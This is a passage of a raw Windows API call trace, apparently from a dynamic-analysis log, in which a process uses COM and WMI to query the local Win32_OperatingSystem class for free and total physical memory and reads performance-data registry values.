[0290.884] CoGetContextToken (in: pToken=0x1da9e0b0 | out: pToken=0x1da9e0b0) returned 0x0 [0290.884] WbemDefPath:IUnknown:QueryInterface (in: This=0x1b294ca0, riid=0x1da9e210*(Data1=0x3bc15af2, Data2=0x736c, Data3=0x477e, Data4=([0]=0x9e, [1]=0x51, [2]=0x23, [3]=0x8a, [4]=0xf8, [5]=0x66, [6]=0x7d, [7]=0xcc)), ppvObject=0x1da9e1e0 | out: ppvObject=0x1da9e1e0*=0x1b294ca0) returned 0x0 [0290.884] WbemDefPath:IUnknown:AddRef (This=0x1b294ca0) returned 0x3 [0290.884] WbemDefPath:IUnknown:Release (This=0x1b294ca0) returned 0x2 [0290.885] WbemDefPath:IWbemPath:SetText (This=0x1b294ca0, uMode=0x4, pszPath="\\\\XC64ZB\\ROOT\\cimv2:Win32_OperatingSystem.CSName=\"XC64ZB\"") returned 0x0 [0290.885] WbemDefPath:IWbemPath:GetNamespaceCount (in: This=0x1b2949a0, puCount=0x1da9e598 | out: puCount=0x1da9e598*=0x2) returned 0x0 [0290.885] WbemDefPath:IWbemPath:GetText (in: This=0x1b2949a0, lFlags=4, puBuffLength=0x1da9e590*=0x0, pszText=0x0 | out: puBuffLength=0x1da9e590*=0xf, pszText=0x0) returned 0x0 [0290.885] WbemDefPath:IWbemPath:GetText (in: This=0x1b2949a0, lFlags=4, puBuffLength=0x1da9e590*=0xf, pszText="00000000000000" | out: puBuffLength=0x1da9e590*=0xf, pszText="\\\\.\\root\\cimv2") returned 0x0 [0290.885] WbemDefPath:IWbemPath:GetNamespaceCount (in: This=0x1b2949a0, puCount=0x1da9e568 | out: puCount=0x1da9e568*=0x2) returned 0x0 [0290.885] WbemDefPath:IWbemPath:GetText (in: This=0x1b2949a0, lFlags=4, puBuffLength=0x1da9e560*=0x0, pszText=0x0 | out: puBuffLength=0x1da9e560*=0xf, pszText=0x0) returned 0x0 [0290.885] WbemDefPath:IWbemPath:GetText (in: This=0x1b2949a0, lFlags=4, puBuffLength=0x1da9e560*=0xf, pszText="00000000000000" | out: puBuffLength=0x1da9e560*=0xf, pszText="\\\\.\\root\\cimv2") returned 0x0 [0290.885] IWbemClassObject:Get (in: This=0x1b269210, wszName="FreePhysicalMemory", lFlags=0, pVal=0x1da9e520*(varType=0x0, wReserved1=0x0, wReserved2=0x0, wReserved3=0x0, varVal1=0x0, varVal2=0x0), pType=0x26c82e0*=0, plFlavor=0x26c82e4*=0 | out: pVal=0x1da9e520*(varType=0x8, wReserved1=0x0, wReserved2=0x0, wReserved3=0x0, varVal1="1359840", varVal2=0x0), pType=0x26c82e0*=21, plFlavor=0x26c82e4*=0) returned 0x0 [0290.885] SysStringByteLen (bstr="1359840") returned 0xe [0290.885] SysStringByteLen (bstr="1359840") returned 0xe [0290.885] IWbemClassObject:Get (in: This=0x1b269210, wszName="FreePhysicalMemory", lFlags=0, pVal=0x1da9e570*(varType=0x0, wReserved1=0x0, wReserved2=0x0, wReserved3=0x0, varVal1=0x0, varVal2=0x0), pType=0x26c82e0*=21, plFlavor=0x26c82e4*=0 | out: pVal=0x1da9e570*(varType=0x8, wReserved1=0x0, wReserved2=0x0, wReserved3=0x0, varVal1="1359840", varVal2=0x0), pType=0x26c82e0*=21, plFlavor=0x26c82e4*=0) returned 0x0 [0290.885] SysStringByteLen (bstr="1359840") returned 0xe [0290.886] SysStringByteLen (bstr="1359840") returned 0xe [0290.886] WbemDefPath:IWbemPath:GetNamespaceCount (in: This=0x1b2949a0, puCount=0x1da9e568 | out: puCount=0x1da9e568*=0x2) returned 0x0 [0290.886] WbemDefPath:IWbemPath:GetText (in: This=0x1b2949a0, lFlags=4, puBuffLength=0x1da9e560*=0x0, pszText=0x0 | out: puBuffLength=0x1da9e560*=0xf, pszText=0x0) returned 0x0 [0290.886] WbemDefPath:IWbemPath:GetText (in: This=0x1b2949a0, lFlags=4, puBuffLength=0x1da9e560*=0xf, pszText="00000000000000" | out: puBuffLength=0x1da9e560*=0xf, pszText="\\\\.\\root\\cimv2") returned 0x0 [0290.886] IWbemClassObject:Get (in: This=0x1b269210, wszName="TotalVisibleMemorySize", lFlags=0, pVal=0x1da9e520*(varType=0x0, wReserved1=0x0, wReserved2=0x0, wReserved3=0x0, varVal1=0x0, varVal2=0x0), pType=0x26c84d8*=0, plFlavor=0x26c84dc*=0 | out: pVal=0x1da9e520*(varType=0x8, wReserved1=0x0, wReserved2=0x0, wReserved3=0x0, varVal1="2096620", varVal2=0x0), pType=0x26c84d8*=21, plFlavor=0x26c84dc*=0) returned 0x0 [0290.886] SysStringByteLen (bstr="2096620") returned 0xe [0290.886] SysStringByteLen (bstr="2096620") returned 0xe [0290.886] IWbemClassObject:Get (in: This=0x1b269210, wszName="TotalVisibleMemorySize", lFlags=0, pVal=0x1da9e570*(varType=0x0, wReserved1=0x0, wReserved2=0x0, wReserved3=0x0, varVal1=0x0, varVal2=0x0), pType=0x26c84d8*=21, plFlavor=0x26c84dc*=0 | out: pVal=0x1da9e570*(varType=0x8, wReserved1=0x0, wReserved2=0x0, wReserved3=0x0, varVal1="2096620", varVal2=0x0), pType=0x26c84d8*=21, plFlavor=0x26c84dc*=0) returned 0x0 [0290.886] SysStringByteLen (bstr="2096620") returned 0xe [0290.886] SysStringByteLen (bstr="2096620") returned 0xe [0290.887] CoGetContextToken (in: pToken=0x1da9e370 | out: pToken=0x1da9e370) returned 0x0 [0290.887] WbemLocator:IUnknown:Release (This=0x1b2031f8) returned 0x1 [0290.887] IUnknown:Release (This=0x1b286470) returned 0x0 [0293.119] GetTickCount64 () returned 0x1ac5ca8 [0293.124] RegQueryValueExW (in: hKey=0xffffffff80000004, lpValueName="238", lpReserved=0x0, lpType=0x1da9e428, lpData=0x0, lpcbData=0x1da9e420*=0x0 | out: lpType=0x1da9e428*=0x3, lpData=0x0, lpcbData=0x1da9e420*=0x0) returned 0xea [0293.127] RegQueryValueExW (in: hKey=0xffffffff80000004, lpValueName="238", lpReserved=0x0, lpType=0x1da9e428, lpData=0x27c4de8, lpcbData=0x1da9e418*=0xfde8 | out: lpType=0x1da9e428*=0x3, lpData=0x27c4de8*, lpcbData=0x1da9e418*=0x438) returned 0x0 [0293.132] RegQueryValueExW (in: hKey=0xffffffff80000004, lpValueName="234", lpReserved=0x0, lpType=0x1da9e428, lpData=0x0, lpcbData=0x1da9e420*=0x0 | out: lpType=0x1da9e428*=0x3, lpData=0x0, lpcbData=0x1da9e420*=0x0) returned 0xea [0293.134] RegQueryValueExW (in: hKey=0xffffffff80000004, lpValueName="234", lpReserved=0x0, lpType=0x1da9e428, lpData=0x27d6200, lpcbData=0x1da9e418*=0xfde8 | out: lpType=0x1da9e428*=0x3, lpData=0x27d6200*, lpcbData=0x1da9e418*=0xea8) returned 0x0 [0293.138] WbemDefPath:IWbemPath:GetNamespaceCount (in: This=0x1b2949a0, puCount=0x1da9e6f8 | out: puCount=0x1da9e6f8*=0x2) returned 0x0 [0293.138] WbemDefPath:IWbemPath:GetText (in: This=0x1b2949a0, lFlags=4, puBuffLength=0x1da9e6f0*=0x0, pszText=0x0 | out: puBuffLength=0x1da9e6f0*=0xf, pszText=0x0) returned 0x0 [0293.139] WbemDefPath:IWbemPath:GetText (in: This=0x1b2949a0, lFlags=4, puBuffLength=0x1da9e6f0*=0xf, pszText="00000000000000" | out: puBuffLength=0x1da9e6f0*=0xf, pszText="\\\\.\\root\\cimv2") returned 0x0 [0293.139] CoGetObjectContext (in: riid=0x22967c0*(Data1=0x1ce, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), ppv=0x1da9e678 | out: ppv=0x1da9e678*=0x77dd58) returned 0x0 [0293.139] IComThreadingInfo:GetCurrentApartmentType (in: This=0x77dd58, pAptType=0x1da9e668 | out: pAptType=0x1da9e668*=1) returned 0x0 [0293.140] IUnknown:QueryInterface (in: This=0x77dd58, riid=0x22967a0*(Data1=0x51372ae0, Data2=0xcae7, Data3=0x11cf, Data4=([0]=0xbe, [1]=0x81, [2]=0x0, [3]=0xaa, [4]=0x0, [5]=0xa2, [6]=0xfa, [7]=0x25)), ppvObject=0x1da9e670 | out: ppvObject=0x1da9e670*=0x0) returned 0x80004002 [0293.140] IUnknown:Release (This=0x77dd58) returned 0x1 [0293.141] CoGetClassObject (in: rclsid=0x1b1c9c68*(Data1=0x4590f811, Data2=0x1d3a, Data3=0x11d0, Data4=([0]=0x89, [1]=0x1f, [2]=0x0, [3]=0xaa, [4]=0x0, [5]=0x4b, [6]=0x2e, [7]=0x24)), dwClsContext=0x15, pvReserved=0x0, riid=0x7ffb02962d08*(Data1=0x1, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), ppv=0x1da9dd38 | out: ppv=0x1da9dd38*=0x1d217fb0) returned 0x0 [0293.142] WbemLocator:IUnknown:QueryInterface (in: This=0x1d217fb0, riid=0x7ffb029856a0*(Data1=0xb196b28f, Data2=0xbab4, Data3=0x101a, Data4=([0]=0xb6, [1]=0x9c, [2]=0x0, [3]=0xaa, [4]=0x0, [5]=0x34, [6]=0x1d, [7]=0x7)), ppvObject=0x1da9de20 | out: ppvObject=0x1da9de20*=0x0) returned 0x80004002 [0293.142] WbemLocator:IClassFactory:CreateInstance (in: This=0x1d217fb0, pUnkOuter=0x0, riid=0x7ffb029303f8*(Data1=0x0, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), ppvObject=0x1da9ddf8 | out: ppvObject=0x1da9ddf8*=0x1d218290) returned 0x0 [0293.142] WbemLocator:IUnknown:Release (This=0x1d217fb0) returned 0x0 [0293.142] WbemLocator:IUnknown:QueryInterface (in: This=0x1d218290, riid=0x7ffb029303f8*(Data1=0x0, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), ppvObject=0x1da9dba0 | out: ppvObject=0x1da9dba0*=0x1d218290) returned 0x0 [0293.142] WbemLocator:IUnknown:QueryInterface (in: This=0x1d218290, riid=0x7ffb0293bbe0*(Data1=0xc3fcc19e, Data2=0xa970, Data3=0x11d2, Data4=([0]=0x8b, [1]=0x5a, [2]=0x0, [3]=0xa0, [4]=0xc9, [5]=0xb7, [6]=0xc9, [7]=0xc4)), ppvObject=0x1da9dc30 | out: ppvObject=0x1da9dc30*=0x0) returned 0x80004002 [0293.143] WbemLocator:IUnknown:QueryInterface (in: This=0x1d218290, riid=0x7ffb0293bc20*(Data1=0xaf86e2e0, Data2=0xb12d, Data3=0x4c6a, Data4=([0]=0x9c, [1]=0x5a, [2]=0xd7, [3]=0xaa, [4]=0x65, [5]=0x10, [6]=0x1e, [7]=0x90)), ppvObject=0x1da9d428 | out: ppvObject=0x1da9d428*=0x0) returned 0x80004002 [0293.143] WbemLocator:IUnknown:AddRef (This=0x1d218290) returned 0x3 [0293.143] WbemLocator:IUnknown:QueryInterface (in: This=0x1d218290, riid=0x7ffb0293bbf0*(Data1=0xecc8691b, Data2=0xc1db, Data3=0x4dc0, Data4=([0]=0x85, [1]=0x5e, [2]=0x65, [3]=0xf6, [4]=0xc5, [5]=0x51, [6]=0xaf, [7]=0x49)), ppvObject=0x1da9d2e8 | out: ppvObject=0x1da9d2e8*=0x0) returned 0x80004002 [0293.143] WbemLocator:IUnknown:QueryInterface (in: This=0x1d218290, riid=0x7ffb0293bc00*(Data1=0x94ea2b94, Data2=0xe9cc, Data3=0x49e0, Data4=([0]=0xc0, [1]=0xff, [2]=0xee, [3]=0x64, [4]=0xca, [5]=0x8f, [6]=0x5b, [7]=0x90)), ppvObject=0x1da9d270 | out: ppvObject=0x1da9d270*=0x0) returned 0x80004002 [0293.143] WbemLocator:IUnknown:QueryInterface (in: This=0x1d218290, riid=0x7ffb029349a8*(Data1=0x3, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), ppvObject=0x1da9d260 | out: ppvObject=0x1da9d260*=0x0) returned 0x80004002 [0293.143] CoGetContextToken (in: pToken=0x1da9d310 | out: pToken=0x1da9d310) returned 0x0 [0293.143] CoGetContextToken (in: pToken=0x1da9d790 | out: pToken=0x1da9d790) returned 0x0 [0293.143] WbemLocator:IUnknown:QueryInterface (in: This=0x1d218290, riid=0x7ffb0293bc30*(Data1=0x144, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), ppvObject=0x1da9d850 | out: ppvObject=0x1da9d850*=0x0) returned 0x80004002 [0293.143] WbemLocator:IUnknown:Release (This=0x1d218290) returned 0x2 [0293.143] WbemLocator:IUnknown:Release (This=0x1d218290) returned 0x1 [0293.143] CoGetContextToken (in: pToken=0x1da9e1d0 | out: pToken=0x1da9e1d0) returned 0x0 [0293.143] CoGetContextToken (in: pToken=0x1da9e0d0 | out: pToken=0x1da9e0d0) returned 0x0 [0293.143] WbemLocator:IUnknown:QueryInterface (in: This=0x1d218290, riid=0x1da9e230*(Data1=0xdc12a687, Data2=0x737f, Data3=0x11cf, Data4=([0]=0x88, [1]=0x4d, [2]=0x0, [3]=0xaa, [4]=0x0, [5]=0x4b, [6]=0x2e, [7]=0x24)), ppvObject=0x1da9e200 | out: ppvObject=0x1da9e200*=0x1d218290) returned 0x0 [0293.144] WbemLocator:IUnknown:AddRef (This=0x1d218290) returned 0x3 [0293.144] WbemLocator:IUnknown:Release (This=0x1d218290) returned 0x2 [0293.144] WbemDefPath:IWbemPath:GetNamespaceCount (in: This=0x1b2949a0, puCount=0x1da9e608 | out: puCount=0x1da9e608*=0x2) returned 0x0 [0293.144] WbemDefPath:IWbemPath:GetText (in: This=0x1b2949a0, lFlags=8, puBuffLength=0x1da9e600*=0x0, pszText=0x0 | out: puBuffLength=0x1da9e600*=0xf, pszText=0x0) returned 0x0 [0293.144] WbemDefPath:IWbemPath:GetText (in: This=0x1b2949a0, lFlags=8, puBuffLength=0x1da9e600*=0xf, pszText="00000000000000" | out: puBuffLength=0x1da9e600*=0xf, pszText="\\\\.\\root\\cimv2") returned 0x0 [0293.144] CoCreateInstance (in: rclsid=0x7ffb15d966a8*(Data1=0x4590f811, Data2=0x1d3a, Data3=0x11d0, Data4=([0]=0x89, [1]=0x1f, [2]=0x0, [3]=0xaa, [4]=0x0, [5]=0x4b, [6]=0x2e, [7]=0x24)), pUnkOuter=0x0, dwClsContext=0x1, riid=0x7ffb15d96708*(Data1=0xdc12a687, Data2=0x737f, Data3=0x11cf, Data4=([0]=0x88, [1]=0x4d, [2]=0x0, [3]=0xaa, [4]=0x0, [5]=0x4b, [6]=0x2e, [7]=0x24)), ppv=0x1da9e350 | out: ppv=0x1da9e350*=0x1d217fb0) returned 0x0 [0293.144] WbemLocator:IWbemLocator:ConnectServer (in: This=0x1d217fb0, strNetworkResource="\\\\.\\root\\cimv2", strUser=0x0, strPassword=0x0, strLocale="", lSecurityFlags=128, strAuthority="", pCtx=0x0, ppNamespace=0x1da9e4c8 | out: ppNamespace=0x1da9e4c8*=0x1d290590) returned 0x0 [0294.259] WbemLocator:IUnknown:QueryInterface (in: This=0x1d290590, riid=0x7ffb15d96528*(Data1=0x13d, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), ppvObject=0x1da9e1c8 | out: ppvObject=0x1da9e1c8*=0x1b2027f0) returned 0x0 [0294.259] WbemLocator:IClientSecurity:QueryBlanket (in: This=0x1b2027f0, pProxy=0x1d290590, pAuthnSvc=0x1da9e290, pAuthzSvc=0x1da9e210, pServerPrincName=0x1da9e238, pAuthnLevel=0x1da9e214, pImpLevel=0x1da9e220, pAuthInfo=0x1da9e248, pCapabilites=0x1da9e224 | out: pAuthnSvc=0x1da9e290*=0xa, pAuthzSvc=0x1da9e210*=0x0, pServerPrincName=0x1da9e238, pAuthnLevel=0x1da9e214*=0x6, pImpLevel=0x1da9e220*=0x2, pAuthInfo=0x1da9e248, pCapabilites=0x1da9e224*=0x1) returned 0x0 [0294.260] WbemLocator:IUnknown:Release (This=0x1b2027f0) returned 0x1 [0294.260] WbemLocator:IUnknown:QueryInterface (in: This=0x1d290590, riid=0x7ffb15d96518*(Data1=0x0, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), ppvObject=0x1da9e160 | out: ppvObject=0x1da9e160*=0x1b202838) returned 0x0 [0294.267] WbemLocator:IUnknown:QueryInterface (in: This=0x1d290590, riid=0x7ffb15d96528*(Data1=0x13d, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), ppvObject=0x1da9e170 | out: ppvObject=0x1da9e170*=0x1b2027f0) returned 0x0 [0294.267] WbemLocator:IClientSecurity:SetBlanket (This=0x1b2027f0, pProxy=0x1d290590, dwAuthnSvc=0xa, dwAuthzSvc=0x0, pServerPrincName=0x0, dwAuthnLevel=0x6, dwImpLevel=0x3, pAuthInfo=0x0, dwCapabilities=0x20) returned 0x0 [0294.267] WbemLocator:IUnknown:Release (This=0x1b2027f0) returned 0x2 [0294.267] WbemLocator:IUnknown:Release (This=0x1b202838) returned 0x1 [0294.268] CoTaskMemFree (pv=0x1d1e6990) [0294.268] WbemLocator:IUnknown:Release (This=0x1d217fb0) returned 0x0 [0294.268] WbemLocator:IUnknown:QueryInterface (in: This=0x1d290590, riid=0x7ffb029303f8*(Data1=0x0, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), ppvObject=0x1da9dc60 | out: ppvObject=0x1da9dc60*=0x1b202838) returned 0x0 [0294.268] WbemLocator:IUnknown:QueryInterface (in: This=0x1b202838, riid=0x7ffb0293bbe0*(Data1=0xc3fcc19e, Data2=0xa970, Data3=0x11d2, Data4=([0]=0x8b, [1]=0x5a, [2]=0x0, [3]=0xa0, [4]=0xc9, [5]=0xb7, [6]=0xc9, [7]=0xc4)), ppvObject=0x1da9dcf0 | out: ppvObject=0x1da9dcf0*=0x0) returned 0x80004002 [0294.369] WbemLocator:IUnknown:QueryInterface (in: This=0x1b202838, riid=0x7ffb0293bc10*(Data1=0xb196b283, Data2=0xbab4, Data3=0x101a, Data4=([0]=0xb6, [1]=0x9c, [2]=0x0, [3]=0xaa, [4]=0x0, [5]=0x34, [6]=0x1d, [7]=0x7)), ppvObject=0x1da9d910 | out: ppvObject=0x1da9d910*=0x0) returned 0x80004002 [0294.454] WbemLocator:IUnknown:QueryInterface (in: This=0x1d290590, riid=0x7ffb0293bc20*(Data1=0xaf86e2e0, Data2=0xb12d, Data3=0x4c6a, Data4=([0]=0x9c, [1]=0x5a, [2]=0xd7, [3]=0xaa, [4]=0x65, [5]=0x10, [6]=0x1e, [7]=0x90)), ppvObject=0x1da9d4e8 | out: ppvObject=0x1da9d4e8*=0x0) returned 0x80004002 [0294.479] WbemLocator:IUnknown:AddRef (This=0x1b202838) returned 0x3 [0294.479] WbemLocator:IUnknown:QueryInterface (in: This=0x1b202838, riid=0x7ffb0293bbf0*(Data1=0xecc8691b, Data2=0xc1db, Data3=0x4dc0, Data4=([0]=0x85, [1]=0x5e, [2]=0x65, [3]=0xf6, [4]=0xc5, [5]=0x51, [6]=0xaf, [7]=0x49)), ppvObject=0x1da9d3a8 | out: ppvObject=0x1da9d3a8*=0x0) returned 0x80004002 [0294.479] WbemLocator:IUnknown:QueryInterface (in: This=0x1b202838, riid=0x7ffb0293bc00*(Data1=0x94ea2b94, Data2=0xe9cc, Data3=0x49e0, Data4=([0]=0xc0, [1]=0xff, [2]=0xee, [3]=0x64, [4]=0xca, [5]=0x8f, [6]=0x5b, [7]=0x90)), ppvObject=0x1da9d330 | out: ppvObject=0x1da9d330*=0x0) returned 0x80004002 [0294.479] WbemLocator:IUnknown:QueryInterface (in: This=0x1b202838, riid=0x7ffb029349a8*(Data1=0x3, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), ppvObject=0x1da9d320 | out: ppvObject=0x1da9d320*=0x1b202718) returned 0x0 [0294.479] WbemLocator:IMarshal:GetUnmarshalClass (in: This=0x1b202718, riid=0x7ffb029303f8*(Data1=0x0, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), pv=0x0, dwDestContext=0x3, pvDestContext=0x0, mshlflags=0x0, pCid=0x1da9d348 | out: pCid=0x1da9d348*(Data1=0x17, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46))) returned 0x0 [0294.479] WbemLocator:IUnknown:Release (This=0x1b202718) returned 0x3 [0294.479] CoGetContextToken (in: pToken=0x1da9d3d0 | out: pToken=0x1da9d3d0) returned 0x0 [0294.479] CoGetContextToken (in: pToken=0x1da9d850 | out: pToken=0x1da9d850) returned 0x0 [0294.480] WbemLocator:IUnknown:QueryInterface (in: This=0x1b202838, riid=0x7ffb0293bc30*(Data1=0x144, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), ppvObject=0x1da9d910 | out: ppvObject=0x1da9d910*=0x1b202800) returned 0x0 [0294.480] WbemLocator:IRpcOptions:Query (in: This=0x1b202800, pPrx=0x1b202838, dwProperty=2, pdwValue=0x1da9d900 | out: pdwValue=0x1da9d900) returned 0x80004002 [0294.480] WbemLocator:IUnknown:Release (This=0x1b202800) returned 0x3 [0294.480] WbemLocator:IUnknown:Release (This=0x1b202838) returned 0x2 [0294.480] CoGetContextToken (in: pToken=0x1da9df10 | out: pToken=0x1da9df10) returned 0x0 [0294.480] CoGetContextToken (in: pToken=0x1da9de10 | out: pToken=0x1da9de10) returned 0x0 [0294.480] WbemLocator:IUnknown:QueryInterface (in: This=0x1b202838, riid=0x1da9df70*(Data1=0x9556dc99, Data2=0x828c, Data3=0x11cf, Data4=([0]=0xa3, [1]=0x7e, [2]=0x0, [3]=0xaa, [4]=0x0, [5]=0x32, [6]=0x40, [7]=0xc7)), ppvObject=0x1da9df40 | out: ppvObject=0x1da9df40*=0x1d290590) returned 0x0 [0294.480] WbemLocator:IUnknown:AddRef (This=0x1d290590) returned 0x4 [0294.480] WbemLocator:IUnknown:Release (This=0x1d290590) returned 0x3 [0294.480] WbemLocator:IUnknown:Release (This=0x1d290590) returned 0x2 [0294.480] SysStringLen (param_1=0x0) returned 0x0 [0294.480] CoGetContextToken (in: pToken=0x1da9e040 | out: pToken=0x1da9e040) returned 0x0 [0294.480] WbemLocator:IUnknown:AddRef (This=0x1b202838) returned 0x3 [0294.480] WbemLocator:IUnknown:QueryInterface (in: This=0x1b202838, riid=0x7ffb029303f8*(Data1=0x0, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), ppvObject=0x1da9e040 | out: ppvObject=0x1da9e040*=0x1b202838) returned 0x0 [0294.481] WbemLocator:IUnknown:Release (This=0x1b202838) returned 0x3 [0294.481] WbemLocator:IUnknown:Release (This=0x1b202838) returned 0x2 [0294.481] CoGetContextToken (in: pToken=0x1da9e170 | out: pToken=0x1da9e170) returned 0x0 [0294.481] WbemLocator:IUnknown:AddRef (This=0x1d290590) returned 0x3 [0294.481] IWbemServices:ExecQuery (in: This=0x1d290590, strQueryLanguage="WQL", strQuery="select * from Win32_OperatingSystem", lFlags=16, pCtx=0x0, ppEnum=0x1da9e618 | out: ppEnum=0x1da9e618*=0x1b286c50) returned 0x0 [0294.600] IUnknown:QueryInterface (in: This=0x1b286c50, riid=0x7ffb15d96528*(Data1=0x13d, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), ppvObject=0x1da9e2e8 | out: ppvObject=0x1da9e2e8*=0x1b286c58) returned 0x0 [0294.601] IClientSecurity:QueryBlanket (in: This=0x1b286c58, pProxy=0x1b286c50, pAuthnSvc=0x1da9e3b0, pAuthzSvc=0x1da9e330, pServerPrincName=0x1da9e358, pAuthnLevel=0x1da9e334, pImpLevel=0x1da9e340, pAuthInfo=0x1da9e368, pCapabilites=0x1da9e344 | out: pAuthnSvc=0x1da9e3b0*=0xa, pAuthzSvc=0x1da9e330*=0x0, pServerPrincName=0x1da9e358, pAuthnLevel=0x1da9e334*=0x6, pImpLevel=0x1da9e340*=0x2, pAuthInfo=0x1da9e368, pCapabilites=0x1da9e344*=0x1) returned 0x0 [0294.601] IUnknown:Release (This=0x1b286c58) returned 0x1 [0294.601] IUnknown:QueryInterface (in: This=0x1b286c50, riid=0x7ffb15d96518*(Data1=0x0, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), ppvObject=0x1da9e280 | out: ppvObject=0x1da9e280*=0x1b2021b8) returned 0x0 [0294.601] IUnknown:QueryInterface (in: This=0x1b286c50, riid=0x7ffb15d96528*(Data1=0x13d, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), ppvObject=0x1da9e290 | out: ppvObject=0x1da9e290*=0x1b286c58) returned 0x0 [0294.601] IClientSecurity:SetBlanket (This=0x1b286c58, pProxy=0x1b286c50, dwAuthnSvc=0xa, dwAuthzSvc=0x0, pServerPrincName=0x0, dwAuthnLevel=0x6, dwImpLevel=0x3, pAuthInfo=0x0, dwCapabilities=0x20) returned 0x0 [0294.651] IUnknown:Release (This=0x1b286c58) returned 0x2 [0294.651] WbemLocator:IUnknown:Release (This=0x1b2021b8) returned 0x1 [0294.651] CoTaskMemFree (pv=0x1d1e6e40) [0294.651] IUnknown:QueryInterface (in: This=0x1b286c50, riid=0x7ffb029303f8*(Data1=0x0, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), ppvObject=0x1da9dd50 | out: ppvObject=0x1da9dd50*=0x1b2021b8) returned 0x0 [0294.652] WbemLocator:IUnknown:QueryInterface (in: This=0x1b2021b8, riid=0x7ffb0293bbe0*(Data1=0xc3fcc19e, Data2=0xa970, Data3=0x11d2, Data4=([0]=0x8b, [1]=0x5a, [2]=0x0, [3]=0xa0, [4]=0xc9, [5]=0xb7, [6]=0xc9, [7]=0xc4)), ppvObject=0x1da9dde0 | out: ppvObject=0x1da9dde0*=0x0) returned 0x80004002 [0294.652] WbemLocator:IUnknown:QueryInterface (in: This=0x1b2021b8, riid=0x7ffb0293bc10*(Data1=0xb196b283, Data2=0xbab4, Data3=0x101a, Data4=([0]=0xb6, [1]=0x9c, [2]=0x0, [3]=0xaa, [4]=0x0, [5]=0x34, [6]=0x1d, [7]=0x7)), ppvObject=0x1da9da00 | out: ppvObject=0x1da9da00*=0x0) returned 0x80004002 [0294.652] IUnknown:QueryInterface (in: This=0x1b286c50, riid=0x7ffb0293bc20*(Data1=0xaf86e2e0, Data2=0xb12d, Data3=0x4c6a, Data4=([0]=0x9c, [1]=0x5a, [2]=0xd7, [3]=0xaa, [4]=0x65, [5]=0x10, [6]=0x1e, [7]=0x90)), ppvObject=0x1da9d5d8 | out: ppvObject=0x1da9d5d8*=0x0) returned 0x80004002 [0294.653] WbemLocator:IUnknown:AddRef (This=0x1b2021b8) returned 0x3 [0294.653] WbemLocator:IUnknown:QueryInterface (in: This=0x1b2021b8, riid=0x7ffb0293bbf0*(Data1=0xecc8691b, Data2=0xc1db, Data3=0x4dc0, Data4=([0]=0x85, [1]=0x5e, [2]=0x65, [3]=0xf6, [4]=0xc5, [5]=0x51, [6]=0xaf, [7]=0x49)), ppvObject=0x1da9d498 | out: ppvObject=0x1da9d498*=0x0) returned 0x80004002 [0294.653] WbemLocator:IUnknown:QueryInterface (in: This=0x1b2021b8, riid=0x7ffb0293bc00*(Data1=0x94ea2b94, Data2=0xe9cc, Data3=0x49e0, Data4=([0]=0xc0, [1]=0xff, [2]=0xee, [3]=0x64, [4]=0xca, [5]=0x8f, [6]=0x5b, [7]=0x90)), ppvObject=0x1da9d420 | out: ppvObject=0x1da9d420*=0x0) returned 0x80004002 [0294.653] WbemLocator:IUnknown:QueryInterface (in: This=0x1b2021b8, riid=0x7ffb029349a8*(Data1=0x3, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), ppvObject=0x1da9d410 | out: ppvObject=0x1da9d410*=0x1b202098) returned 0x0 [0294.653] WbemLocator:IMarshal:GetUnmarshalClass (in: 